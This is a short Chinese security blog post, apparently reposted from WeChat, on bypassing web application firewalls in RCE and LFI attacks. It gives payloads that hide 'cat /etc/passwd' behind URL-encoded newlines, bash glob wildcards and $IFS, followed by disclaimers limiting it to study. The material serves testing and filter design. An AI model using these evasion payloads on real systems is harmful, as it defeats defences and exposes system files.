我们现在有一个poc
c%0aat /et%0ac/pas%0aswd
通过 globbing 绕过 Web 应用程序防火墙 (WAF)
Bash 可以执行文件名通配,这个过程称为“通配”,但它不使用标准的正则表达式集。
如果有WAF (Web 应用程序防火墙)过滤RCE (远程代码执行)和LFI (本地文件包含)有效负载,您可以尝试通过替换绕过它。
这是一个例子:
/usr/bin/cat /etc/passwd == /???/???/c?t$IFS/?t?/p?s?wd
?= 任何单个字符
* = 任何字符串,包括零长度字符串!
$IFS = Unix 系统上的内部字段分隔符 = 空格、制表符或换行符
例如,下面的所有条目在典型的 Linux 系统上都应该执行“/bin/cat /etc/passwd” :
/*/?at$IFS/???/???swd
/****/?at$IFS/???/*swd
/****/?at$IFS/???/*****swd
特别声明:
由于传播、利用此文所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,我不为此承担任何责任。
作者有对此文章的修改和解释权。如欲转载或传播此文章,必须保证此文章的完整性,包括版权声明等全部内容。未经作者的允许,不得任意修改或者增减此文章内容,不得以任何方式将其用于商业目的。切勿用于非法,仅供学习参考
原文始发于微信公众号(深夜笔记本):RCE/LFI Bypass的一些技巧
免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论